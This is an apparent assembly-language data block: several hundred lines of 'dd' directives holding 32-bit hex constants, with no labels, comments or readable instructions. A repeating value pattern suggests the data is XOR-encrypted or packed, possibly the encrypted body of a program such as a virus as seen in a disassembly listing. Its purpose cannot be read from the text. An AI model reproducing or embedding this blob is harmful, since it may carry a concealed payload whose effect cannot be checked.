		dd 0AE306C9h, 6304h, 0D5858BF9h, 0C70AE30Fh, 0E3006985h
		dd 0Ah,	77D28100h, 803D32C0h, 0B5FFC3DFh, 0AE31B71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 30C35747h, 26B595FFh
		dd 8B660AE3h, 0FF006ADEh, 0E31CD195h, 0EBC08B0Ah, 0A984C258h
		dd 0AFABC5A7h, 0B2B82162h, 0FC9B0645h, 352C0B6h, 78B14A3Dh
		dd 52189F4Bh, 291C00Bh,	7665A709h, 5A28A190h, 8602FCA7h
		dd 93D69D08h, 6B69A79h,	3F72CB36h, 0BDCDB45Ch, 0DF4CEEF6h
		dd 9294DF88h, 1AA11296h, 0E26236DFh, 71A82CA5h,	0BCDE5065h
		dd 0C1E53180h, 6160531Fh, 32AE5DB1h, 3154F7B1h,	525657B1h
		dd 3256CA49h, 3256C658h, 18BCD0B1h, 90361605h, 44A665B5h
		dd 27944304h, 0A2624435h, 300F662Dh, 0A456ABB1h, 0FA04BA72h
		dd 1D133FA2h, 3D56755Eh, 3256B23Dh, 8D593DB1h, 0C8E1A16Fh
		dd 3D5657D0h, 3256A23Fh, 0D4D7B5B1h, 2C08EE57h,	3256144Dh
		dd 325735BEh, 32AA5DB1h, 32565BB1h, 6F9BB744h, 54911CB1h
		dd 3237243Ah, 325E03B1h, 6CAA75B1h, 14ABC0D3h, 0C96949EEh
		dd 3D56AEEEh, 32565633h, 325652B1h, 3D56D549h, 3256EE3Dh
		dd 680515B1h, 0DB56BAD0h, 32565DBAh, 0BBBA147Bh, 0D2B529FAh
		dd 328D6B44h, 32562CB1h, 3256FE58h, 9D0A7DB1h, 7F435FFCh
		dd 0D19C2452h, 8CE0ACFDh, 3D2C53AEh, 3D56ABB7h,	3256D43Dh
		dd 325612B1h, 3243F4BEh, 22BFBAB1h, 8F565DB1h, 6B29C815h
		dd 0DE479328h, 0CC27381Fh, 32D6402Eh, 324503B1h, 5E9275B1h
		dd 8FAD1890h, 9B7D2875h, 4C99924Dh, 3DA9422Eh, 0DB56AB04h
		dd 3256D5BBh, 0DA4CEA19h, 159046A6h, 3256099Ah,	32565058h
		dd 0A6D83B1h, 6AC479FBh, 0E49FB257h, 3256AE96h,	0C1D78CD1h
		dd 85593138h, 3256DB4Bh, 32565B58h, 43215DB1h, 0CB83160Bh
		dd 0B959ABB1h, 3256D5A9h, 3256F958h, 145E5CB1h,	554C638Dh
		dd 11FFF5A5h, 0A4480FDFh, 0AFAEC647h, 3ABFABB1h, 0AF56D5B1h
		dd 2ACFEFEEh, 3207684Dh, 325A53B1h, 0CE0A5DB1h,	9A5EB50h
		dd 27AC5207h, 32560BDDh, 32583CD1h, 2179EAB1h, 0E35B2763h
		dd 0F4CF41FFh, 2E2BC0Ch, 539419BEh, 3FBF57B1h, 0D556ABB1h
		dd 0EBAE0842h, 8FC9BC1Fh, 0F0856CB1h, 0B236BAB1h, 8FE6D97Dh
		dd 0CA56AED0h, 0DB565749h, 3256ABB4h, 0A8A0141Bh, 3256E88Ch
		dd 3254F2B1h, 5336BAB1h, 318B320Bh, 3256CFEEh, 325DDABEh
		dd 34BFABB1h, 2F56D5B1h, 9756B355h, 3151ADB3h, 2D56BBB1h
		dd 1E564BB1h, 335688B1h, 38BF57B1h, 5256ABB1h, 0CD9F55D5h
		dd 56B4B1E2h, 0DB56758Bh, 3256BAB9h, 29862216h,	5EBD1351h
		dd 32AE57B1h, 325E42B1h, 88BDD5B1h, 5D215B92h, 32569A17h
		dd 0C8DDDCD1h, 32565259h, 1FBF1DB1h, 1DD170D3h,	9C0B5360h
		dd 71183CA3h, 0B3956BD7h, 32372FCCh, 324553B1h,	3D815DB1h
		dd 0DE165CACh, 910D255Eh, 0F8F28A27h, 7CD77F11h, 0C756EA1Ah
		dd 300175B1h, 4E56BAB1h, 0A3DFBFEFh, 0A29B7798h, 52AA57B1h
		dd 33D84230h, 39BEF4B7h, 856EAB1h, 43BBB923h, 0B15C8581h
		dd 0EEDC57DBh, 3256CFEBh, 0DB5655E6h, 3256ABBDh, 147047B5h
		dd 8FC1D143h, 0B615D179h, 324553E1h, 0AE595DB1h, 0BA7DD414h
		dd 6511190h, 92F579ECh,	0FEA9CBE8h, 165263A4h, 0AF35E7ACh
		dd 3DBFEAD0h, 0E9565DB1h, 85E0FFC9h, 6114DA95h,	9DD82221h
		dd 0A2C5900Dh, 693CBFBDh, 3592DEBh, 324452D1h, 0E1945DB1h
		dd 1D58A7A1h, 794C928Dh, 15B0EA99h, 0F124A865h,	26BF76EFh
		dd 5E5675B1h, 6A6D7084h, 3641CB00h, 42E58C5Ch, 0AE593958h
		dd 0DB7DD114h, 3256D5B7h, 6F62EDF7h, 53CBD663h,	7EC5E2EBh
		dd 52675224h, 325A472Dh, 7FB257B1h, 7B06B8B3h, 372ABAFFh
		dd 0B33061EBh, 0DBF15351h, 3256BABDh, 31E4E0A5h, 6DA81731h
		dd 495C221Dh, 65E8CD2Ch, 6A0CB431h, 0AF555824h,	6DE844BEh
		dd 687D206Eh, 3DBFC1E9h, 4956AEB1h, 6580A629h, 0C13486F5h
		dd 7DF8FC01h, 0B3300F6Dh, 0DB11BD41h, 3256BAB7h, 0AF221A37h
		dd 53CB4DA3h, 36721338h, 3256BF58h, 5803D9B1h, 48712EAh
		dd 0F05BD186h, 3C5FAA62h, 2893619Eh, 80EBF6FAh,	6A37CAB2h
		dd 57E8F758h, 964AE226h, 0CE56EAD6h, 52AF75B1h,	3256AE59h
		dd 32474DB1h, 0CFEBD9Ch, 8E02557Bh, 0C926D767h,	0D360F9DAh
		dd 0DAD78C4Eh, 630E0F07h, 3237E04Dh, 3253B4B1h,	0A548AEB1h
		dd 32884697h, 0B336CBB1h, 0AC6F3B68h, 3DBE8BD6h, 0F75675B1h
		dd 1A0E4ED1h, 6631870Ah, 7C65B1B2h, 8C301714h, 530C1251h
		dd 3256DD58h, 3FCB03B1h, 1501E1F3h, 5256BA93h, 0A841AD08h
		dd 30DAA1B3h, 835657B1h, 3256CAD4h, 325757BEh, 32A3EAB1h
		dd 23D57AB1h, 0DB56BAB1h, 32565DBDh, 15C56A02h,	7EEBE45Fh
		dd 417BCB65h, 0BC59D5B1h, 3256EAB0h, 52567544h,	3256BC58h
		dd 4B396DB1h, 5479794Fh, 53263D0Eh, 3D36ABB1h, 3256D330h
		dd 32D8E5B1h, 0C75675B1h, 5256BAD0h, 0B3308B3Ah, 53258758h
		dd 32A357B1h, 35D8A4B1h, 5256D5B1h, 82C92F31h, 32561476h
		dd 0DE9D04D1h, 0BDE52E26h, 0DB56AED0h, 325657B6h, 0C008E78Eh
		dd 0DB7948B2h, 3256EAA5h, 3E2C5E61h, 17813E51h,	0C803CC2Ch
		dd 9DDD6E74h, 0F62439F3h, 0BF59ABB1h, 3256D5B6h, 325764BEh
		dd 32AE75B1h, 8D59DAB1h, 0E3D73B7Fh, 323766EBh,	3256AEB1h
		dd 0D0DC57D1h, 0DB56D5D0h, 3256EABAh, 3DDC7FFh,	0DF28E2Fh
		dd 32A6A72Fh, 325E47B1h, 84BE57B1h, 0D6DA5F75h,	32AA475Fh
		dd 33D2E5B1h, 0CA5675B1h, 32AFBAB1h, 3256A4B1h,	61B024D1h
		dd 32370D48h, 3CBFCBB1h, 0F556D5B1h, 2AC3457h, 7EA06E7Fh
		dd 5B787976h, 3237A431h, 325656B1h, 0DB565744h,	3256ABBAh
		dd 0AC988869h, 8D234A0Ah, 3284F006h, 33D1B5B1h,	0CA565DB1h
		dd 3FBFAEB1h, 485657B1h, 97C283BAh, 38EF2E9Fh, 6726DC4Ch
		dd 0BD5975B1h, 3256BAA2h, 3253B5D1h, 0B9FFAEB1h, 69754FF7h
		dd 32562CBEh, 3237D5B1h, 8C3613B1h, 5B31AB82h, 0E2E1B5E3h
		dd 32563CEAh, 325726BEh, 3DAF57B1h, 3256AE34h, 52AFB5B1h
		dd 32568BD0h, 52567548h, 0B7A5990Ah, 5306E8A9h,	0BB59AEB1h
		dd 325657BDh, 32502CBEh, 0B159D5B1h, 3256EAB1h,	0B33675B1h
		dd 69186E60h, 325FB4C2h, 0C296AEB1h, 52785F10h,	536CA536h
		dd 32AFD5B1h, 54AA8AB1h, 9335AD30h, 0DB56BAD0h,	32565DBDh
		dd 0A266D00h, 12E75598h, 93405A08h, 0B836D5B1h,	32568B76h
		dd 3251FABEh, 0B159BAB1h, 32565DB0h, 0DB56AE49h, 325657BFh
		dd 946EFCFEh, 3E6D84A3h, 80EABA42h, 3256A4D0h, 325138BEh
		dd 0B6595DB1h
		dd 3256AEB0h, 0DB56574Dh, 3256ABA5h, 3BDAB2B3h,	57CA0768h
		dd 489A242Ch, 38A220B6h, 0C881FE1Bh, 8036AEB1h,	53360062h
		dd 3256CAE8h, 65F462D1h, 3256F958h, 510E60B1h, 52AAF795h
		dd 0DF400834h, 0B5217752h, 3A80A7CEh, 3256CAEFh, 5256D54Dh
		dd 58986BD7h, 539CFFDCh, 35BFBAB1h, 0D8565DB1h,	48763223h
		dd 3256EC82h, 31DCA4D1h, 0B256D5B1h, 3237587Bh,	0F1DD15B1h
		dd 0D9D7DCD1h, 0B930C728h, 5237CF73h, 3255DDBEh, 8D59ABB1h
		dd 32372C6Ah, 38D3E5B1h, 525675B1h, 0BD59E1E2h,	32565DB1h
		dd 0DB56AED0h, 325657A2h, 5B228DDh, 0ECA98B72h,	5F21E5E0h
		dd 4F2C9778h, 327D14A5h, 32AAA1B1h, 325F47B1h, 5D7B57B1h
		dd 30B997ADh, 327F3C76h, 54048AB1h, 5408863Ah, 53784F08h
		dd 0B6595DB1h, 3256AEB0h, 0DB565749h, 3256ABA2h, 5A49E781h
		dd 0AF769FA2h, 708E908Fh, 6C76DA00h, 324BC5CFh,	0F9D7CEB1h
		dd 42543F0Ch, 325723BEh, 53AED5B1h, 5436EAB1h, 0B259863Ah
		dd 3256BAA7h, 32564D59h, 135EF4B1h, 92F05D7h, 45144525h
		dd 266AA677h, 3237B15Eh, 32469CB1h, 952ABAB1h, 0B1057ACFh
		dd 9B051B4Ch, 0E90AA325h, 3256909Bh, 3256DC58h,	7D5689B1h
		dd 0DB728A75h, 32564289h, 32565558h, 3E0B18B1h,	685BF27Ch
		dd 5256AB7Bh, 0B9300D3Ah, 0DA368B4Fh, 325675BFh, 6D9DBF9h
		dd 0CF377B16h, 775AFB6Ah, 8D59AB41h, 0B330F07Eh, 530DB047h
		dd 0BB59EAB1h, 325675ACh, 32413EBEh, 20BF5DB1h,	6456AEB1h
		dd 33360F0Dh, 77D414ABh, 0BC2B51E7h, 0A28A5BD7h, 525675E6h
		dd 86957830h, 88075427h, 269047A4h, 325636EBh, 32572BBEh
		dd 32A3D5B1h, 3D361FB1h, 3256733Ch, 32DAB5B1h, 53565DB1h
		dd 0B459AEB1h, 325657B0h, 33DAA448h, 0CB56D5B1h, 5436EAB1h
		dd 9B16B730h, 8336DB49h, 0F5D73BD4h, 3237843Bh,	21D258B1h
		dd 0DB56ABB1h, 3256D5BFh, 646D3911h, 8567B7D3h,	0B8180466h
		dd 32566FAAh, 3D56AE48h, 32565B37h, 34D9A4B1h, 3D56D5B1h
		dd 3256EA32h, 0DB5675B1h, 3256BABFh, 1286C3C4h,	12380EDFh
		dd 0B5B310EDh, 3256F4CCh, 53C860D1h, 0B459EAB1h, 325675BFh
		dd 3256B358h, 0EB6F26B1h, 4B76DFCCh, 3BBF6A68h,	5556ABB1h
		dd 86AFC72Fh, 7359A1B9h, 0BD5975B1h, 3256BAA6h,	0DAA2D7D1h
		dd 3256AEBCh, 0D34F19AEh, 0DC5CAB89h, 0B73EEA9h, 3237B4E2h
		dd 325680B1h, 324533BEh, 3CBF5DB1h, 8956AEB1h, 7F5114A4h
		dd 0E54F177Ch, 0F6FB4C51h, 5256EAD4h, 3CF5CBD7h, 32375A05h
		dd 8D593DB1h, 0F5D7C842h, 323791CAh, 27D0A4B1h,	0DB56D5B1h
		dd 3256EAA1h, 16B619E4h, 95B97D99h, 0E7424FCAh,	22AE80E1h
		dd 324CD6BEh, 0CE36ABB1h, 3256C459h, 0C0A083B1h, 0DC01B0DAh
		dd 78022A52h, 989C8B13h, 5309C252h, 3DBF57B1h, 4656ABB1h
		dd 31AD5D7Ah, 1C4E185h,	60DE2962h, 3256C0AAh, 52565D4Dh
		dd 3DA119BEh, 32565737h, 3256CAB1h, 0F48A55D1h,	53CC3631h
		dd 0CE3675B1h, 531E6F31h, 37BF5DB1h, 9256AEB1h,	0E481C8C1h
		dd 32AFABB1h, 325A3CB1h, 8353EAB1h, 0C63C5890h,	98A2406Bh
		dd 325623DCh, 0C3D7C8D1h, 0DB366AE7h, 3256ABBFh, 9A7C0373h
		dd 0B53C745Eh, 0FA757649h, 0B330CC6Bh, 53E7206Fh, 0DB56AED0h
		dd 325657B6h, 8D192ABCh, 324381D0h, 324603B1h, 1DB275B1h
		dd 2F1531E5h, 81FC67AFh, 8C8E4F88h, 0B5594A78h,	3256ABA4h
		dd 3256C558h, 0A5DC38B1h, 0D8F7B743h, 0F97629DEh, 7DBE3F05h
		dd 5256AEADh, 32565259h, 3809B7B1h, 8D592212h, 8D30B361h
		dd 323766BEh, 325642B1h, 3251D7BEh, 6536AEB1h, 0BDA1D7EAh
		dd 0CA56ABD0h, 32AAD5B1h, 3ED7E5B1h, 3D5675B1h,	3256BC39h
		dd 32D952B1h, 3256AEB1h, 3256AFB1h, 3256A458h, 5C74CEB1h
		dd 0F00343A3h, 654A8D6Bh, 351DBACEh, 0B0595DB1h, 3256AEA1h
		dd 32565C58h, 0C6333B1h, 22427A7Ch, 5359817Dh, 0B25975B1h
		dd 3256BAB6h, 3257DCBEh, 32AEAEB1h, 3256A2B1h, 325824BEh
		dd 0B336D5B1h, 698BDB6Fh, 32DC7AC2h, 5356BAB1h,	88365DB1h
		dd 3502D08Dh, 0C75657D0h, 34BFABB1h, 4B56D5B1h,	0A5B65F49h
		dd 3D5675B9h, 3256B639h, 34D552B1h, 3D56AEB1h, 32565731h
		dd 0CB56ABB1h, 32A3D5B1h, 0E2D68AB1h, 0DB3780DFh, 3256BABFh
		dd 81D594BDh, 0E3BC8591h, 0E5F21B1Ch, 325682F4h, 5256D549h
		dd 3DB83A31h, 3237BC0Eh, 325646B1h, 6487D6D1h, 325622BEh
		dd 530857B1h, 0BE59ABB1h, 3256D5B0h, 5256EA48h,	0EC9EF4D7h
		dd 32585371h, 12A65DB1h, 11CEFAFFh, 0DB83887Eh,	531A73DEh
		dd 8D59B5D0h, 53FD5B62h, 32A375B1h, 39BFDAB1h, 59565DB1h
		dd 60369D48h, 0C88371D2h, 0B330B5F4h, 53306D7Ah, 21BFEAB1h
		dd 725675B1h, 0D3FA7109h, 521EAF24h, 0FFBE5EA0h, 0F1D30918h
		dd 3256DC55h, 325957BEh, 38BFEAB1h, 6A5675B1h, 0BAD50A32h
		dd 80846EB2h, 0DB56AE96h, 325657B9h, 1337C9DEh,	0A949CE4Ch
		dd 0CA56EA48h, 3D8EFFD1h, 32376B0Eh, 24D852B1h,	5256AEB1h
		dd 32565959h, 39C478B1h, 617A6331h, 0CE490CC7h,	6BCE076Bh
		dd 3D56BAD0h, 32565138h, 34D4A1B1h, 3D5657B1h, 3256AB3Ch
		dd 0CA56D5B1h, 0BD59EAB1h, 325675A0h, 325D37BEh, 34BF5DB1h
		dd 0AB56AEB1h, 9D999EDh, 3ABFCBE3h, 0C656D5B1h,	5AA402Ch
		dd 0DBB3AB5Ah, 3256BAA2h, 5497ADBh, 0EA7916A5h,	165AA9BDh
		dd 60C4415h, 532FAC31h,	22BFEAB1h, 335675B1h, 89D47752h
		dd 87A0CF05h, 160F3E2Fh, 321DD022h, 325F42B1h, 7110D5B1h
		dd 0E43C5D5Fh, 32A03AF3h, 325353B1h, 77A15DB1h,	32EF3C38h
		dd 3256ABB1h, 0CA56AB48h, 20BFD5B1h, 2156EAB1h,	0D38A4569h
		dd 7D895314h, 0FD3AF71Ch, 0CCEC021Fh, 0CE565723h, 3DAAABB1h
		dd 3256CA30h, 34BE8AB1h, 35675B1h, 0F90DE015h, 3EBF0790h
		dd 0BE56AEB1h, 7A945478h, 0F95D50E1h, 539F73C0h, 5436EAB1h
		dd 0DAF8980Fh, 3256BAB9h, 49078FD1h, 6CFD0025h,	0DBBE8D7h
		dd 3256CAEAh, 0E2D7B3D1h, 32372C66h, 0C7368DB1h, 53A805BEh
		dd 0B9365DB1h, 53DB1F7Eh, 3EBF57B1h, 1D56ABB1h,	0AC8D810h
		dd 48E801E6h, 328DD590h, 32564FB1h, 0DB565D49h,	3256AEBCh
		dd 0A9CA0CE4h, 0F16210B3h, 2CC598F4h, 0DB56EA61h, 325675BBh
		dd 0A0930608h, 0C9D1DE8Ch, 3256F351h, 32565858h, 731705B1h
		dd 3C5927A3h, 8AA1F783h, 54D36609h, 32AFBAB1h, 3246B4B1h
		dd 0D1CDAEB1h, 0A28D25DEh, 2F3152Dh, 1247E5F2h,	3256AC68h
		dd 3D567544h, 3256B63Ch, 34D552B1h, 3D56AEB1h, 3256573Fh
		dd 8B30CBB1h, 0B930CDF4h, 32568B67h, 0CB56754Dh, 5436BAB1h
		dd 8C4DB630h, 0C09C2FD7h, 325636B1h, 324D24BEh,	0BC59D5B1h
		dd 3256EAA4h, 32566558h, 283FE2B1h, 62901F26h, 0F3189938h
		dd 71DC5183h, 3DBECB23h, 6256D5B1h, 2604C99Ch, 395C4224h
		dd 0B5E854A9h, 8BE10D7Dh, 324447EAh, 8BEA57B1h,	4535124h
		dd 63291F9h, 0DB305C0Bh, 31745BEBh, 0CB56BAD0h,	3DAAEDD1h
		dd 3256AB3Eh, 0E6DEECB1h, 3237AFC4h, 3DBFB5B1h,	0E056EAB1h
		dd 0BB45E9E2h, 0AB80C911h, 6B178B3Ah, 0E3DD2C4Ah, 525657D0h
		dd 3256B858h, 2009A1B1h, 0B2640941h, 67E4DD26h,	27A4CAACh
		dd 0BDC61905h, 32379003h, 3245BEB1h, 0D447ABB1h, 0FFA58241h
		dd 0AD3CECA3h, 58E6C1D0h, 4A2DFFA8h, 0DB565DD4h, 3256AEBFh
		dd 642250F5h, 0D12CDBA4h, 0E27B020Dh, 32561728h, 3257FCBEh
		dd 32A3BAB1h, 3256A4B1h
		dd 325725BEh, 32AF57B1h, 325342B1h, 6AC1D5B1h, 3238C244h
		dd 325689B1h, 0C5EEDCD1h, 325AB41Fh, 33A9AEB1h,	2749428Eh
		dd 0B299D5CEh, 0DB37D3FBh, 3256EAA3h, 32973989h, 31E8E8CCh
		dd 474702F8h, 0D3AD9847h, 325662BBh, 0DB56AB4Dh, 3256D5A2h
		dd 34BF6EFh, 0FABABEC9h, 6297C64Ch, 0BC9EF4Bh, 32365904h
		dd 3242BEB1h, 776FABB1h, 0B0D0F9EAh, 0BEFA6237h, 360406EDh
		dd 6953AB3Eh, 32A3655Dh, 33D9A1B1h, 0CE5657B1h,	32AFABB1h
		dd 32443CB1h, 76B0EAB1h, 8AA450DBh, 0B639BF5Ch,	8F8C14B5h
		dd 9D2F409Ch, 3EBF57B1h, 0C856ABB1h, 4E9B58CEh,	5E99F000h
		dd 328C1133h, 33D6B5B1h, 0CB565DB1h, 32AAAEB1h,	3ADE58B1h
		dd 3D56ABB1h, 3256D73Fh, 32378AB1h, 0DB0415B1h,	3256BAB4h
		dd 54BC13EFh, 0D3DCF724h, 0C75657D0h, 324821BEh, 0B359D5B1h
		dd 3256EAA9h, 32566658h, 269AB1B1h, 2BB4538Eh, 0A1CBB1FCh
		dd 5A0046DFh, 89875BA1h, 0BC59D5B1h, 3256EABDh,	0E5D713D1h
		dd 0EDEE0523h, 5339749Bh, 0B359AEB1h, 325657BDh, 325022BEh
		dd 0B159D5B1h, 3256EAB1h, 0BD5975B1h, 3256BAA9h, 32564E58h
		dd 0B62F3BB1h, 0C2E6ADEFh, 54B15E80h, 620E5939h, 0E2909DAh
		dd 26BF75B1h, 0B56BAB1h, 85297934h, 66069574h, 0EAE80E3Bh
		dd 0CCB04CC4h, 32638F97h, 3D068AB1h, 3D098E06h,	3256BB33h
		dd 3237A5B1h, 36D1A1B1h, 525657B1h, 3237F4E1h, 3BBFB5B1h
		dd 0C356EAB1h, 1150680Ah, 253384ACh, 0E5A0DCD7h, 3256CFF1h
		dd 32565958h, 73998EB1h, 20511721h, 47B203B9h, 3241AFFAh
		dd 325953B1h, 719B5DB1h, 998C898Eh, 0F919BA7Bh,	3AD26854h
		dd 35DCDA8Ah, 3D56EAB1h, 32567433h, 325643B1h, 6D053D48h
		dd 3256CF49h, 32564458h, 16A3F7B1h, 0BDF438DEh,	2F2384DEh
		dd 152253E1h, 0B2AA5788h, 0DB365DB1h, 3256AEA1h, 5FF8A92Fh
		dd 5CB1064Bh, 0D1F64C0Ch, 0EC2CA7D3h, 0C75675D0h, 6136BAB1h
		dd 6C80D6D7h, 29DBA1D0h, 3D5657B1h, 3256BE33h, 32463CB1h
		dd 0E601EAB1h, 0D947287Ch, 0FEF24991h, 552767EEh, 325642C4h
		dd 32565F58h, 0F99964B1h, 0EBF8C7D4h, 0DB56EAE5h, 325675BAh
		dd 91AE9D7Ch, 0E5E2E3ACh, 32432624h, 24E237B1h,	324542D1h
		dd 26E7D5B1h, 642A9633h, 0EF1707DCh, 86D7EABFh,	14B04221h
		dd 530EFC83h, 0CE5657D0h, 325920BEh, 0CA36D5B1h, 3256ED58h
		dd 0A65B92B1h, 683611B9h, 0C7565DD0h, 5436AEB1h, 3ABEA43Ah
		dd 0AE56ABB1h, 256F7412h, 547C69FBh, 530D8B3Ah,	0CEAFBAB1h
		dd 0BC595DB1h, 3256AEACh, 3241D1BEh, 20BFABB1h,	3F56D5B1h
		dd 0E87ECBC3h, 125D8767h, 821F50E2h, 3E3D4618h,	0C756AEB2h
		dd 3D3657B1h, 3256AB36h, 32513DB1h, 0B798EAB1h,	0CFDA8E42h
		dd 3237E229h, 23BE3DB1h, 3356AEB1h, 17BCE0DFh, 81D722C3h
		dd 0DA5F686Fh, 0F8E8518Dh, 0C8DFED09h, 39BFE582h, 0F3565DB1h
		dd 59DE757Bh, 0CAED41CAh, 3237A8A6h, 4DE5B5B1h,	0C756EAD0h
		dd 0B95975B1h, 3256BAB0h, 33D95244h, 0CB56AEB1h, 0B33657B1h
		dd 0DFDA1B43h, 32372082h, 8D308AB1h, 3237F9C5h,	325153B1h
		dd 0EF35DB1h, 0D49477h,	0B9593778h, 3256ABB3h, 0F3D68DE0h
		dd 32568BC8h, 32539C44h, 0CADBBAB1h, 326EE958h,	325B47B1h
		dd 0CD5B57B1h, 0F6698146h, 8EAEAF5Eh, 3246712Bh, 32599CB1h
		dd 0EF6ABAB1h, 7EB6D9EAh, 472E4538h, 0B91B1A36h, 0CA56ABCBh
		dd 3D36D5B1h, 3256F236h, 32459CB1h, 0DA02BAB1h,	28625970h
		dd 4EAF2445h, 6C048A8Ch, 555E0B49h, 3256B423h, 8D598AD1h
		dd 23BF1477h, 8B56BAB1h, 0D37DD074h, 899DCB6Bh,	0E46D04EEh
		dd 0B4D9C880h, 3D56D5D0h, 3256F23Eh, 32459CB1h,	6CA3BAB1h
		dd 81568A08h, 5534439Eh, 1DCFA59Dh, 9583AE42h, 3D56D5D0h
		dd 3256EB31h, 325680B1h, 0DB56BA4Dh, 32565DA3h,	46C9B945h
		dd 0B7131C1Fh, 79D67D09h, 0A12B2636h, 32562FFFh, 325DFABEh
		dd 34BFBAB1h, 0DE565DB1h, 0CC33317Fh, 0CA56579Ah, 325342D1h
		dd 3774D5B1h, 0B344201Fh, 74D2B760h, 3256DBE9h,	32565058h
		dd 7BA7ECB1h, 16DB631Ch, 28C9D6F6h, 20BF4A5Ch, 0FE56EAB1h
		dd 0CA0E9127h, 6950BF3Bh, 0B88FD1A6h, 0C9B5699Dh, 525657ADh
		dd 0BF590D01h, 3256D5B4h, 818D6BD7h, 32561474h,	3256B358h
		dd 89BE83B1h, 0B752EE2Bh, 325612B0h, 324622BEh,	39BFD5B1h
		dd 0CC56EAB1h, 0D880F707h, 0F486C6Fh, 32567F86h, 0CB56AE4Dh
		dd 0B15957B1h, 3256ABA0h, 3256D958h, 53EA9FB1h,	0B848D80Ah
		dd 0B885BBFAh, 3256A85Fh, 324624BEh, 39BF57B1h,	6856ABB1h
		dd 7744E744h, 0AAA4AF17h, 3256CAD0h, 3256BC58h,	663016B1h
		dd 3D593681h, 32565B3Bh, 34DFA4B1h, 3D56D5B1h, 3256EA3Ah
		dd 525675B1h, 1DA3650Eh, 30D752D0h, 0B956AEB1h,	0B3593640h
		dd 3256ABB0h, 0CB56D54Dh, 324702D1h, 288D75B1h,	0FE9C9200h
		dd 0A4F84434h, 214EB8B7h, 6AC3CC54h, 324242E0h,	12EED5B1h
		dd 0EFCED437h, 503730EEh, 60FE8DA2h, 74B782CAh,	530EDA37h
		dd 34BF57B1h, 0FA56ABB1h, 99D78489h, 0CE56EABAh, 34BF75B1h
		dd 6956BAB1h, 32C218C9h, 0CE56AEE7h, 32565958h,	5F6604B1h
		dd 0B518302Dh, 34DAC46Dh, 328F9D0Dh, 325B53B1h,	83365DB1h
		dd 8BBCCD07h, 6FD8754Ah, 522C8AE5h, 6937B5E1h, 539C61D7h
		dd 0B75975B1h, 3256BAA0h, 0DA373DD1h, 3256AEB6h, 7AC7253h
		dd 6B7343A9h, 3D56D5D0h, 3256E233h, 0E5D715B1h,	266F4C42h
		dd 3D565DD0h, 3256A53Fh, 0B93037B1h, 32D5A46Eh,	5356D5B1h
		dd 52AFEAB1h, 32567C59h, 65A4F0B1h, 17D0F4F4h, 0BEE69F77h
		dd 30D158EBh, 8256ABB1h, 3256B48Eh, 325E6EBEh, 3D3675B1h
		dd 3256BA37h, 32563CB1h, 0B3595BD1h, 325657B1h,	5256ABD0h
		dd 0DFF1330h, 6D078350h, 3D5675D0h, 3256B23Fh, 30DA52B1h
		dd 5256AEB1h, 3D5657D0h, 3256A733h, 34DDDAB1h, 3D56EAB1h
		dd 32567530h, 325646B1h, 0DB565D48h, 3256AEBAh,	0CC6AAAB9h
		dd 6C8C8B0Dh, 329718C1h, 8D598AB1h, 0FC14CE6Bh,	3237A0F4h
		dd 3FDC52B1h, 5256AEB1h, 543BA130h, 0B330A7A3h,	534AB178h
		dd 32AAEAB1h, 3FDD7AB1h, 5256BAB1h, 3256DFBEh, 9FE8AEB1h
		dd 534095BFh, 32AEABB1h, 26D7DAB1h, 0DB56EAB1h,	325675BEh
		dd 0A14B386h, 7B4796DAh, 0CA17C93Ch, 52613A1Ch,	325023BEh
		dd 0B559D5B1h, 3256EAB1h, 32567259h, 0A77733B1h, 4594FD03h
		dd 530FF0E3h, 32AE57B1h, 35D8A4B1h, 3D56D5B1h, 3256EB38h
		dd 20BF80B1h, 0AC56BAB1h, 6B96DE19h, 0AE9EC5h, 82E4D2E6h
		dd 2D907009h, 3D56D52Dh, 3256E535h, 325C9CB1h, 0EFB3BAB1h
		dd 0D1150CFBh, 3EBCC2E6h, 32AF57B1h, 33D3A4B1h,	0C756D5B1h
		dd 0B659EAB1h, 325675B9h, 325436BEh, 53365DB1h,	0DB962FD1h
		dd 0DA2D07B7h, 3256ABA2h, 72949EACh, 915CB5ADh,	74DB1B46h
		dd 6832B88Bh, 3D718D2Ah, 3256AE32h, 323709B1h, 32565EB1h
		dd 3256D858h, 0E8265FB1h, 0EE14703Fh, 3D74F82Ah, 3CBF6B0Fh
		dd 8456AEB1h, 934BDB2Ah, 44080382h, 4A643E8Ah, 0CB56EA63h
		dd 35BE22D1h, 8E56BAB1h, 45A4D65h, 6C0F8C30h, 3D3737D1h
		dd 5337580Eh, 32AED5B1h, 13D8E5B1h, 525675B1h, 3256BD58h
		dd 6C9CDFB1h, 0E3874851h, 32565A59h, 0ED9988B1h, 0EA393C64h
		dd 0E2BD8BFDh, 530EA6E6h, 6436BAB1h, 3256DCBEh,	0C70FAEB1h
		dd 0C75657D0h, 3D56AB44h, 3256DF3Bh, 53368AB1h,	3256FBBEh
		dd 3237BAB1h, 23BF3DB1h
		dd 0FA56AEB1h, 5F1FE68Ch, 0A3A41FEAh, 35E0A80Dh, 66E936F7h
		dd 32567258h, 3737A4B1h, 4AAE1BDAh, 5256AED0h, 0B343BA31h
		dd 0C67B7E6Ah, 3256B4CCh, 5256EA4Dh, 3250F1BEh,	0EDD7BAB1h
		dd 2C6C8AC6h, 32371D00h, 325EBEB1h, 84D3ABB1h, 0BEF759AEh
		dd 32562E32h, 20BF24D1h, 8056BAB1h, 0E070DBE9h,	3AC2A356h
		dd 0DD0C371Ah, 0E55A7401h, 3FBF8F0Ch, 5956EAB1h, 71C9C9DAh
		dd 0D9EF40E0h, 551CBEF9h, 5256AED0h, 0B398E8BEh, 349ECD70h
		dd 3256B4A1h, 3256FA58h, 9454A9B1h, 0C53129B5h,	0D13B1C13h
		dd 3C85ABE8h, 0C756579Fh, 0B336ABB1h, 0B5EFE261h, 53806187h
		dd 0BC5975B1h, 3256BAB0h, 0C7565D4Dh, 0BE59AEB1h, 325657BDh
		dd 32502ABEh, 0B459D5B1h, 3256EAB1h, 0B45975B1h, 3256BAB0h
		dd 3D565D4Dh, 3256A93Dh, 0D9D637B1h, 5337CB12h,	0DB36B549h
		dd 3256EAB6h, 586022ACh, 8C44A9DEh, 24844C59h, 325646D0h
		dd 0B30C57B1h, 0DB9B635Bh, 32583CBBh, 7F05EAB1h, 0DFC04270h
		dd 506B11D2h, 0D08B10A6h, 32512FBEh, 0B23657B1h, 5336CB68h
		dd 32453CD0h, 0CCD4EAB1h, 31D0AA1Bh, 14A580E0h,	0A8512D4h
		dd 0ED7C3983h, 0DCD3DAB7h, 525C4319h, 630E2DE7h, 3256F958h
